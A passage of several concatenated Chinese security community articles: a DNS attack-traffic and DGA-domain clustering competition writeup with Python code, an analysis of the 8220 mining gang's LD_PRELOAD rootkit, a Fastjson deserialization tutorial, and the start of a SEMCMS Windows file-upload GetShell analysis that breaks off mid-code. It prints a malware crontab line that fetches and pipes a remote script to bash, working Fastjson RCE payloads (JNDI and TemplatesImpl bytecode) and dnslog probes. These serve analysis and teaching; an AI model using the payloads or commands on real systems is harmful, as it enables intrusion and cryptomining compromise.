这部分流量在主要服务器`45.80.170.1`和其他服务器上都存在，对其解析请求和回应进行分析，没有确定具体的攻击类型。综合考虑，目前已经找出四种攻击，疑似攻击的`PTR`记录并具备攻击特征，那么这个有很大可能是攻击。主要的查询主机为`18.100.48.86`。
通过对RFC的解读，发现在DNS更新时是有先决条件的，但这部分流量大部分是不具备的，那么可能是攻击者利用DNS的更新机制，将目标IP进行更换，形成攻击。
**第二次提交**
现在再次确认的攻击有`NSEC枚举`，`PTR反查`不具有攻击特征，那么选择`DNS dynamic update`进行提交，提交非主要服务器的流量。
则目前确认的攻击为
attackid | description
---|---
1 | DNS zone transfer
2 | DNS Amplification Attack
3 | DNS cache pollution
4 | DNS dynamic update
5 | NSEC enumeration
前3种攻击流量不变，增加后两种，其中`DNS dynamic update`具有4091条，`NSEC enumeration`具有74条。
**得分** ：90.909
结合第一次提交，说明攻击类型确定为这五种，且两次提交每次的扣分在5分左右，说明攻击流量已经大部分被找出，接下来进行进一步的筛选。
**第三次提交**
对3种攻击进行筛选，`DNS zone transfer`和`DNS cache
pollution`数量较少，且特征较明显，应该不会错选或遗漏。对于`DNS Amplification
Attack`，存在一个问题，就是在主要服务器`45.80.170.1`也有一部分疑似攻击流量，第一次提交仅仅是将其种一部分加入答案，现在将主要服务的全部疑似流量加入。
则现在的`DNS Amplification Attack`攻击流量有41551条，其余攻击流量不变。
**得分** ：90.57
分数下降，说明加入的流量是错误的，并且由两次的分差和本次增加的流量条数，结合得分计算公式，可以估算`DNS Amplification
Attack`流量的总条数在32000条左右，数字并不确切，但也有一定的参考依据。
**最终的攻击流量确定**
第三次提交确定主要服务器的放大流量是误判流量，则将放大流量中主要服务器相关流量删除，提交3种攻击分类。
第四次提交得分为：59.97。确定前三种攻击的主要攻击流量。
对后两种攻击，`NSEC枚举`的数量较少，且特征明显，不容易误判。但`DNS dynamic
update`情况比较复杂，第一，仅对主机`18.100.48.86`的响应的种类就有很多；第二，也存在主要服务器的响应。首先考虑不同类型的响应的区分度。
在分析时发现请求数大于响应数，可能存在某些请求没有接收到响应。响应的类型一共有五种，数量最多的为拒绝，根据得分情况，保留占比大的拒绝响应，将其他的响应的请求包删除，进行提交。此时`DNS
dynamic update`攻击流量数量为3381条。
第五次提交得分为：93.35。分析得分后发现得分降低，说明删除的流量中正确流量占大部分，且扣分达到了7分，说明这种攻击存在较大部分流量没有找到。
考虑主要服务器上的更新流量，经过分析，发现其对应的主机有两台`237.205.156.233`和`19.220.251.87`,并且请求流量数量不同，前者具有535条，后者414条，决定将其共同提交，可以根据分数变化，确定最终的攻击流量。此时`DNS
dynamic update`攻击流量数量为4345条。
在第五次提交的基础上，第六次提交得分为：97.1，得分提高4分，确定新增加的全部为攻击流量。
修改最终结果，将第五次提交中删除的部分添加至第六次提交答案中，最终攻击流量确定。
攻击类型为
attackid | description
---|---
1 | DNS zone transfer
2 | DNS Amplification Attack
3 | DNS cache pollution
4 | DNS dynamic update
5 | NSEC enumeration
其中，`DNS zone transfer`包括5298条，`DNS Amplification Attack`包括33200条，`DNS cache
pollution`包括34194条，`DNS dynamic update`包括5055条，`NSEC enumeration`包括72条。
## 题目二 DGA域名家族聚类
### 0x00 题目解读
从官网给出的信息是对DNS流量中的DGA域名进行识别并且进行家族聚类，给出的数据包依然是pcap文件，粗略观察可以看出，数据包中存在明显的`NXDomain`的响应，确定目标。
实验方法在实验过程中逐步完善，但局限于比赛提交次数，一部分实验方法的结果并没有经过验证，这里尽可能介绍实验中使用的方法，希望赛后可能得到进一步的确定。
实验使用环境参数：
* python3
* sklearn
* keras2.2.4
* pands 0.22
* numpy 1.15
### 0x01 DGA域名识别
首先将提供的pcap数据包进行处理，使其比较方便进行下一步的操作，这里进行的操作是选取数据包中有用的数据，将其保存为csv文件。采用和题目一类似的方式将数据提取出来。
在进行DGA域名识别时，从两个方面进行考虑：特征分类和先验经验。
**特征分类**
确定区分DGA域名与正常域名的原则：
DGA域名的特点是是大部分是随机生成的字符串，所以其可读性非常差，为了确定其可读性，我们这采用元音或辅音字母比例，在正常的单词中，为了更好的发音，元音和辅音存在配合关系，不会出现非常多的连续辅音或元音的情况；隐马尔科夫模型（HMM）计算字符串的转移概率；香农熵计算字符串的混乱程度。
考虑到域名避免与现有域名产生较多的碰撞，DGA域名选取的长度较长。
从DGA解析的角度出发，当感染主机运行DGA算法，并且尝试连接DAG域名时，其解析流量中会出现大量的`NXDomain`的解析响应，因为大部分的DGA域名都不会被解析到，之后攻击者在展开攻击后注册了某个域名，才会出现解析成功的响应。所以这里从解析主机和域名解析关联两方面入手分析，对于解析主机的解析行为特征，从主机解析的域名分布及解析类型考虑。对于域名解析关联，出发点是考虑该域名的解析情况，关注域名解析总数，解析该域名的ip总数，对应每个IP解析的数量，在解析过程中的响应类型，还包括流量中的transaction
id的数量，用于判断是否是重传。这里计算域名解析失败率，记录该域名在解析中失败的比例。
从上面的原则中最终确定的特征包括
特征名 | 含义
---|---
domain_len | 域名长度
domain_entropy | 域名香农熵
domain_consonants_ratio | 域名辅音比例
domain_number_ratio | 域名数字比例
hmm | 域名中字符的转移概率
r_code | 响应类型
domain_tld | 域名顶级域
domain_ip_dal | 解析该域名的IP地址解析域名的平均长度
number_qry | 解析该域名的IP解析域名总数
number_res_a | 该IP解析请求中记录A的数量比例
domain_ip_more | 该IP地址解析域名中大于平均长度的数量比例
failed_ratio | 域名解析失败率
max_consonants_ratio | 最长连续辅音比例
vowel_ratio | 域名中元音比例
hyphen_ratio | 域名中连字符比例
unique_char | 域名唯一字符数
ngrams_statics | 域名 n-gram 频率分布的统计特征，包括 均值，标准差，中位数，25% percentile，75%
percentile，最小值，最大值，n 取 1，2，3，故该特征最终为长度为21的向量
在获取特征后，使用机器学习算法进行识别，这里采用`kmeans`聚类算法。
**先验经验**
对实验数据进行人工分析，利用已有知识进行数据筛选。
在对未响应域名的分析过程中，发现在未响应中存在一部分非DGA域名。如果存在一台主机反复请求一个域名，但该域名解析不成功，但从行为上看，其并不是DGA域名。另外还存在一些域名，在形式上与DGA域名非常相似，但其解析模式令人费解。如
`xmbdgkqvlbnrx.co.uk`,怀疑其并非是DGA域名，而是某IOT设备的域名。
对分类结果进行查看，发现其中存在一部分仅仅是字符串而不存在顶级域的解析域名，这明显并非是DGA域名。
根据观察发现和已有经验对识别结果做进一步的筛选。
### 0x02 DGA域名家族聚类
在通过第一步的识别获得DGA域名后，对其进行家族分类。
对于家族聚类，思路是利用主机关联性和域名特征相似性两方面综合考虑。
如果利用主机相似性进行聚类，不得不考虑的问题是：`在获得数据中，一台主机仅仅产生一种DGA还是会产生多中DGA`，这会影响到后面的聚类效果。
**域名字符串特征聚类**
仅利用域名本身存在的字符串特征进行聚类。
**基本思路** ：
> * 同一家族的DGA域名在字符串特征上存在一定的相似性
> * 直接聚类可能导致类内方差太大
>
考虑到如果直接聚合成大类效果可能不好，方法考虑先聚合成小类，再根据一些指标进行小类间的聚合，指标在下面介绍。
聚类算法采用的是`kmeans`算法，采用了47个特征。这里还利用`Xmeans`进行实验，以获得较好的初步聚类。
在合并指标的选择上首先考虑经常作为聚类评判标准的`silhouette_score`和`calinski_harabaz_score`,但是其是从数据的角度上进行考虑，可能对特定的问题的表现并不好。
考虑自定义的指标，首先对单个类别的评价，计算每类的方差，类内的IP重合度[对类内的每个ip计算其解析的域名，计算n个IP的解析重合度]，IP聚合程度[主要IP所占比例]。
考虑类合并的指标，两类的重合IP重要度[两类中重合IP部分在各自类比中所占的比重]，IP重合度[两种中重合IP的比重]，合并方差波动率[先考虑将两类进行合并，查看合并前和合并后的方差波动水平]。
缺乏实验依据，在类别合并方面没有找到可以有效表示其效果的显著性指标。
计算两类IP重合度，示例代码
# 计算两类之间的相关程度
def correlation_ip_cluster(c1,c2):
#两类的ip重合度：
# 重合ip域名重合度：从重合ip中其解析的域名数量，计算比例
# 输入c1,c2为两个类别的数据
# 输出为c1，c2中重合ip与ip并集的比例
c1_ip_list = ip_list[c1.index]
c1_list = [i for inner in c1_ip_list.values for i in inner if type(i) != list]
c1_list_sup = [j for inner in c1_ip_list.values for i in inner if type(i) == list for j in i]
c1_list.extend(c1_list_sup)
c2_ip_list = ip_list[c2.index]
c2_list = [i for inner in c2_ip_list.values for i in inner if type(i) != list]
c2_list_sup = [j for inner in c2_ip_list.values for i in inner if type(i) == list for j in i]
c2_list.extend(c2_list_sup)
corr_ip = len(set(c1_list).intersection(set(c2_list)))/len((set(c1_list).union(set(c2_list))))
return corr_ip
**基于主机关联性聚类**
**基本思路：**
> * 不同主机请求相同的可疑域名，说明主机产生同类型的 DGA
> * 一个域名集 被 一个主机集所共同查询，说明域名集属于同一类的可能性大
> **步骤：**
>
1. 生成无响应域名 NXDomains 和产生无响应域名主机 NXHosts 的关联矩阵 M，矩阵行表示主机，列表示域名，矩阵的值 M _i,j_ 计算如下：
2. 计算相似矩阵 S
3. 使用 PCA 对相似矩阵，进行降维
4. 基于相似性矩阵，使用 KMeans，XMeans 算法进行聚类
**结果分析：**
使用 XMeans 算法，分成了40个类，很多类别数目过少，和仅使用域名字符特征进行 XMeans
算法进行聚类的结果一样，结果并不理想。因此进一步，考虑结合两种方法。
**强主机关联性聚类**
本方法考虑的首要因素是主机之间的关联性，假设一台主机只产生一种DGA，那么可以将某一台主机产生的域名分为同一个家族，同时在出现一个域名被多个主机解析的情况下，那么将另一台主机解析的域名同样归入此家族。
首先计算获得所有有关联的主机及其解析的域名，发现存在大部分主机之间是没有关联的，即没有与其他主机的域名产生重合。这种情况需要利用其他手段对单个主机的类别进行合并。
**利用`kmeans`聚类计算类别相似性**
在仅仅利用主机关联进行家族分类后，得到37个类别，其中大部分是单个主机的类别，需要将其合并至其他类别中。本方法利用`kmeans`产生的域名相似性进行二次聚类。
利用`kmeans`算法，使用域名字符串特征，对DGA域名进行不同类别数的多次聚类，这里选取的类别数是[3,20]。这样可以获得18个聚类结果，然后将之前进行主机关联获得的37个类别与18个分类结果中的每一个类别进行对比，计算每个类别的域名重合度，选取最大的域名重合定义为相关类别，然后将相关类别中的IP取出，得出相关IP。
例如：当n
取5时，`kmeans`得到5类，将主机关联获得的37个类别中的域名分别与5类中的域名进行比较，如果前者的第一类与后者的第三类的域名重合度最高，则将后者第三类的ip与前者第一类的ip记作为相关ip。
在获得了37类的每类的相关ip集合后，利用相关ip集合与原有类别的ip集合的重合度，将重合度高的类别聚合在一起。
例如，A类的相关ip集合为{1，2，3，4}，B类的ip集合为{3，4，5，6}，C类的ip集合为{2，3，4，8}，则A类和C类的重合度更高，则将A类和C类进行合并。
# 计算主机ip关联类别和聚类类别的关联性，输出中具有主机关联类别之间的关联关系
def ip_cluster_kmeans_k():
connected_df = pd.read_hdf('./input/connected_df_2.h5')
connected_df.drop(330,axis = 1,inplace = True)
ip_set_list,ip_cluster = ip_cluster_func(connected_df)
corr_ip_2_ip_pd = pd.DataFrame(np.array(ip_set_list).reshape([37,1]),columns=["iplist"])
for i in tqdm(range(3,22)):
feat_cluster = feat_cluster_func(i,connected_df)
corr_ip_2_ip = ip_corr(ip_cluster,feat_cluster)
corr_ip_2_ip_pd["cluster_{num}".format(num =i)] = corr_ip_2_ip
com_c_list = []
max_corr_list = []
for i in corr_ip_2_ip_pd.values[:,1:]:
max_corr = 0
com_c = 0
ip_c = pd.Series([k for j in i for k in j])
ip_ser = ip_c.value_counts()
ip_c_corr = set(ip_ser.index[ip_ser == ip_ser.max()])
for j,ip_c_list in enumerate(ip_set_list):
re_corr = len(ip_c_corr.intersection(ip_c_list)) / len(ip_c_list)
if re_corr > max_corr:
max_corr = re_corr
com_c = j
com_c_list.append(com_c)
max_corr_list.append(max_corr)
corr_ip_2_ip_pd["combination"] = com_c_list
corr_ip_2_ip_pd.to_csv("combination_ip_feat_more_cluster.csv")
return corr_ip_2_ip_pd
方向二最终得分：75
## 赛后反思
整体开来，能力建设团队专业性非常强，真正的做到应用数据说话，从数据中确定异常，而THUteam1和DeepDeer及我们本身都是利用足够的知识，针对性的对局部数据进行分析。
赛后看了前三名的writeup后，发现在大赛中的不足之处：
* 某些点的分析不够透彻
> 比赛中为脱敏数据可能对字符分布、语义、信息熵等造成影响
>
> 题目一和二中的攻击流量为人为构造，是纯净的攻击流量，在第二题的解题过程中忽视了这一点，导致开始方向出错
* 对数据流量的整体认识不足
> 在获得数据后，总是有主观的考虑，在这一点上，阿里云团队展现了非常强的专业性，从数据本身出发的方法更具泛化性
* 对机器学习的认识太浅薄
> 机器学习是一个工具，但并不是某个算法就可以解决全部问题，还需要增加对算法本质和广度的认识
* 利用现有资源能力不足
> 在题目二中，由于前期方向错误，浪费时间。但最大的问题其实是没有利用找到的公开数据。 | 社区文章 |
近日，阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益，开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势，此后预计主机侧的隐藏和对抗将成为主流。
# 背景
阿里云安全团队蠕虫监控平台发现8220挖矿团伙的下载脚本出现更新，除了下载必要的驻留脚本、挖矿程序之外，新增加了一个
so文件的下载地址：<http://107.174.47.156/1.so。>
8220挖矿团伙是一个长期活跃的利用多个漏洞进行攻击和部署挖矿程序的国内团伙[1-2]，该团伙组合利用WebLogic XMLDecoder
反序列化漏洞(CVE-2017-10271)、Drupal RCE(CVE-2018-7600)、JBoss
反序列化命令执行漏洞(CVE-2017-12149)等多个漏洞进行攻击并部署挖矿程序进行牟利。
通过对相关脚本和该so的简单分析，我们确认8220团伙已经在其攻击工具包使用ProcessHider[3]对自身进行隐藏。ProcessHider是被众多恶意软件广泛利用的rootkit。挖矿蠕虫利用该工具使管理员难以通过常规手段检测到挖矿进程，从而提高挖矿进程的存活时间以最大化挖矿收益。随着时间的推移，可能会有越来越多的挖矿蠕虫加入rootkit功能。
# 蠕虫检测
如果在云控制台看到明显的CPU 上升，机器整体性能卡顿，但是登录机器使用 PS/TOP
等命令却无法定位到具体占用CPU的进程，此时该机器就很可能已经感染此类使用 rootkit 进行隐藏的挖矿蠕虫。
## 1.主机检测
该蠕虫利用LD_PRELOAD机制，使得自身的so文件先于系统加载，并通过劫持 readdir函数，使依赖该 API
返回的PS/TOP等系统命令无法正确返回结果 。 因此用户使用这些受影响的系统命令将无法看到真实的进程。
如上图所示，该蠕虫隐藏的进程关键字是kworkerds。
在主机侧可以使用以下命令对蠕虫进行检测
查看动态链接库
#ldd /bin/top|grep usr
/usr/local/lib/libkk.so (0x00007f0f94026000)
发现存在异常的so文件
查看 PRE_LOAD系统变量
#cat /etc/ld.so.preload
/usr/local/lib/libkk.so
发现preload文件被修改
查看 crontab
#crontab -l
*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh
发现crontab出现奇怪的定时任务
使用普通top 查看到的进程:
LD_PRELOAD依赖于动态链接过程，因此使用静态编译的busybox执行top命令，将可以看到真实的全部进程。
## 2.网络检测
随着对抗的不断升级，挖矿蠕虫的自我隐藏功能必将不断升级，而面对全副武装的蠕虫病毒，普通用户在主机侧与其进行强对抗成本极高并且收益较低。针对该类蠕虫通过网络侧的NTA(Network
Traffic
Analysis)功能进行检测更加有效。因为无论攻击者在主机侧采用了何种隐藏手法，但其远程下载、C&C通信、矿池通信等行为均会在网络流量中留下痕迹。
下图是在网络侧云防火墙通过检测到主机感染后下载后门文件的行为发现该蠕虫的记录。
# 修复方案
1.由于本地命令可能都已被劫持，因此首先下载静态编译的busybox来执行指令，保证执行的系统命令不受劫持影响。
下载二进制
#wget https://www.busybox.net/downloads/binaries/1.27.1-i686/busybox
赋予执行权限
#chmod +x busybox
2.清理动态劫持
./busybox rm -f /usr/local/lib/libkk.so 2>/dev/null
./busybox chattr -i /etc/ld.so.preload 2>/dev/null
./busybox chattr -i /usr/local/lib/libkk.so 2>/dev/null
./busybox rm -f /etc/ld.so.preload
./busybox touch /etc/ld.so.preload
./busybox chattr +i /etc/ld.so.preload
ldconfig
3.杀恶意进程和相关文件
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep 'kworkerds' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null
./busybox ps -ef | ./busybox grep -v grep | ./busybox egrep '107.174.47.156' | ./busybox awk '{print $1}' |./busybox sed "s/root//g" | ./busybox xargs kill -9 2>/dev/null
./busybox rm -f /var/tmp/kworkerds
./busybox rm -f /var/tmp/sustse*
4.修复 crontab
./busybox chattr -i /etc/cron.d/root 2>/dev/null
./busybox rm -f /etc/cron.d/root
./busybox chattr -i /etc/cron.d/apache 2>/dev/null
./busybox rm -f /var/spool/cron/apache
./busybox chattr -i /var/spool/cron/root 2>/dev/null
./busybox rm -f /var/spool/cron/root
./busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null
./busybox rm -f /var/spool/cron/crontabs/root
./busybox rm -rf /var/spool/cron/crontabs
./busybox touch /var/spool/cron/root
./busybox chattr +i /var/spool/cron/root
5.再次修复下 crontab,回到第3步再次执行
6..修复完成和重启crontab
service crond start
# REF
疑似国内来源的“8220挖矿团伙”追踪溯源分析 [<https://www.freebuf.com/column/179970.html>]
“8220团伙”最新活动分析：挖矿木马与勒索病毒共舞 [<https://www.freebuf.com/column/186467.html>]
<https://github.com/gianlucaborello/libprocesshider> | 社区文章 |
**作者：summersec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected]**
# 前言
Fastjson这款国内知名的解析json的组件，笔者在此就不多介绍，网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发，逆向学习分析fastjson反序列化漏洞始末。
ps：漏洞学习环境以代码均在上传[Github项目](https://github.com/SummerSec/JavaLearnVulnerability)。
* * *
# 初窥Payload
下面是一段最简单`Fastjson的版本号反序列化--URLDNS`代码，观察发现可以提出一个问题`@type`作用？
import com.alibaba.fastjson.JSON;
public class urldns {
public static void main(String[] args) {
// dnslog平台网站：http://www.dnslog.cn/
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
JSON.parse(payload);
}
}
* * *
#### @type的作用
下面是一段实验代码，帮助理解分析`@type`的由来。
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
package vul.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Demo {
//TODO 修改pom.xml中的fastjson <= 1.2.24
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("summer");
String str1 = JSONObject.toJSONString(user);
// 转化的时候加入一个序列化的特征 写入类名
// feature = 特征
String str2 = JSONObject.toJSONString(user, SerializerFeature.WriteClassName);
// str2输入结果会输出 @type+类名
// 由此可知@type是用于解析JSON时的用于指定类
System.out.println(str1);
System.out.println(str2);
//如果fastjson解析内容时没有配置，会默认使用缺省配置
// TODO 查看parse方法 可以设置断点看看不同之处和相同之处
Object parse1 = JSON.parse(str1);
Object parse2 = JSON.parse(str2);
//很明显的结果不一样
System.out.println("@type: " + parse1.getClass().getName());
System.out.println("str1's parse1: " + parse1);
System.out.println("@type: " + parse2.getClass().getName());
System.out.println("str2's parse2: " + parse2);
}
}
对比分析一下，只要在JSON序列化的方法加入`SerializerFeature.WriteClassName`特征字段。序列化出来的结果会在开头加一个`@type`字段，值为进行序列化的类名。再将带有`@type`字段的序列化数据进行反序列化会得到对应的实例类对象。反序列化可以获取类对象？有Java基础的安全人应该会敏感的这里十之八九存在漏洞。
ps： 下面是一段验证代码
public class Vuldemo {
public static void main(String[] args) {
String payload = "{\"@type\":\"vul.fastjson.User\",\"age\":18,\"name\":\"summer\"}";
Object ob = JSON.parse(payload);
System.out.println("反序列化后类对象: " + ob.getClass().getName());
System.out.println("反序列化结果: " + ob);
}
}
* * *
# 漏洞分析
#### RCE's payload
第一种payload是使用`com.sun.rowset.JdbcRowSetImpl`类，第二种是`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`。第二种之前在[漫谈Commons-Collections反序列化](https://samny.blog.csdn.net/article/details/106160182)讨论分析过，这里不再重复着重讨论分析第一种payload。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1090/Exploit","autoCommit":true}
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
* * *
#### 再窥Payload
观察发现这个payload由三部分组成，`@type`、`dataSourceName`、`autoCommint`。第一个`@type`前面已经提及了是获取实例化类，`dataSourceName`和`autoCommit`我们看看官方文档。
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://localhost:1090/Exploit\",\"autoCommit\":true}";
大致意思：使用该方法的名称绑定到`JNDI命名服务`中的`DataSource`对象上，应用程序就可以使用该名称进行查找，检索绑定到它的DataSource对象。
设置`AutoCommit`后，会`自动提交内容`。设置这个属性之后，JNDI找到对应资源，对自动提交内容，读者后期可以试试删除这个属性是不会触发漏洞的。
**知道上面这些特性后，根据特点构造等价代码** [国外介绍JdbcRowSet
使用方法的一个小案例，可以参考一下。](http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html)
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
try {
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:1389/Exploit");
jdbcRowSet.setAutoCommit(true);
} catch (SQLException throwables) {
throwables.printStackTrace();
}
* * *
# 漏洞成因分析
JSON#parse()方法会调用`DefaultJSONParser#parse()`，在实例化DefaultJSONParser类是会将输入数据使用实例化JSONScanner类传入，并同时传入默认缺省配置`features`。
这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的。
DefaultJSONParser在实例化时会读取当前字符`ch={`，所以`lexer.token()=12`。
跳转12会创建JSONObject类对象，然后再调用 `DefaultJSONParser#parseObject(java.util.Map,
java.lang.Object)`方法去解析。
DefaultJSONParser#parseObject前面会做一个简单判断`lexer.token()`，然后读取字符判断是否`ch=='"'`，TRUE就获取其中的字段的值`@type`并紧接着判断`key
== JSON.DEFAULT_TYPE_KEY`相等。
接下去进入反序列化阶段`deserializer#deserialze()`\-->`parseRest()`\-->`fieldDeser#setValue`\-->一系列反射调用-->`JdbcRowSetImpl#setAutoCommit()`触发漏洞。
**最后得到Gadget chain如下**
/**
* Gadget chain:
* JSON.parse()
* DefaultJSONParser.parse()
* DefaultJSONParser.parseObject()
* JavaBeanDeserializer.deserialze()
* JavaBeanDeserializer.parseRest()
* FieldDeserializer.setValue()
* Reflect.invoke()
* JdbcRowSetImpl.setAutoCommit()
*
*/
* * *
# DNSLOG的一个小点
实战挖掘fastjson漏洞的时候比较常用的方法，探测Fastjson是用dnslog方式，探测到了再用RCE
Payload去一个一个打。但是本人在本地环境测试的时候发现了几个不同点，fastjson的版本不同，不同的payload成功概率是不同的。至于为什么是这样子，可以参考一下这篇[通过dnslog探测fastjson的几种方法](http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/)。
// 目前最新版1.2.72版本可以使用1.2.36 < fastjson <= 1.2.72
String payload = "{{\"@type\":\"java.net.URL\",\"val\"" +
":\"http://9s1euv.dnslog.cn\"}:\"summer\"}";
// 全版本支持 fastjson <= 1.2.72
String payload1 = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
String payload2 = "{\"@type\":\"java.net.Inet6Address\",\"val\":\"zf7tbu.dnslog.cn\"}";
* * *
# 参考
<http://www.b1ue.cn/archives/184.html>
<http://www.herongyang.com/JDBC/MySQL-JdbcRowSet-DataSource.html>
<https://docs.oracle.com/cd/E17824_01/dsc_docs/docs/jscreator/apis/rowset/com/sun/rowset/JdbcRowSetImpl.html>
<http://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/>
<https://www.freebuf.com/news/232758.html>
* * * | 社区文章 |
# 分析某CMS上传GetShell原理-Window
## 0x00 前言
笔者在看一篇代码审计的文章时，对其中作者提及的一处地方感到迷惑，思考无果遂便自己展开了一次粗浅的分析，最终弄明白了自己的困惑并在Window环境下实现了两种思路去达到GetShell目的。
## 0x01 安装
官网:<http://www.sem-cms.com/xiazai.html>
下载地址:<http://www.sem-cms.com/TradeCmsdown/php/SEMCMS_PHP_3.9.zip>
Linux:
安装完成后会给出后台登陆信息:
> 网站后台地址为：你的域名+N8D3ch_Admin/ 请牢记,后台默认帐户：Admin 密码：1 登陆后进行修改
Window:
> 网站后台地址为：你的域名+rhDOEr_Admin/ 请牢记,后台默认帐户：Admin 密码：1 登陆后进行修改
## 0x02 失败复现
访问:<http://localhost:8887/semcms/N8D3ch_Admin/SEMCMS_Upload.php>
上传抓包
按照[某新版本商贸系统的代码审计](https://xz.aliyun.com/t/11190)文章所说的上传步骤进行操作。
**1)第一步**
传入这个参数之后，会进入代码的拼接过程
最终执行的`$newname` ,
是将文件的内容写入到`111.jpg.php:.jpg`,`$Imageurl`可以控制向上目录穿越，这里不设置，默认则为空。
move_uploaded_file($_FILES["file"]["tmp_name"],$Imageurl.$newname); //文件写入文件夹
最终由于`:`从而写入ADS流文件，会导致生成一个`111.jpg.php`的空文件和一个`111.jpg.php:.jpg`的实际内容为`<?php
phpinfo();?>`的隐藏文件。
**2)第二步**
代码处理:
最终走向生成文件名字为`111.jpg.php:.jpg<<<`，可惜访问`111.jpg.php`,并没有发现有内容写入，所以在这里我对原文中作者的描述，产生了质疑。
## 0x03 问题探索
首先这个问题，对环境有要求，只能在Window环境下进行测试。
正常来说，利用`:`冒号和`<`追加符号结合的方式，一般用于绕过黑名单的限制。为了理解这种方式，我们需要了解并学习下 **Window的特性** 。
### 0x3.1 Window特性
通过一段存在上传漏洞的代码来进行说明。
<?php
/**
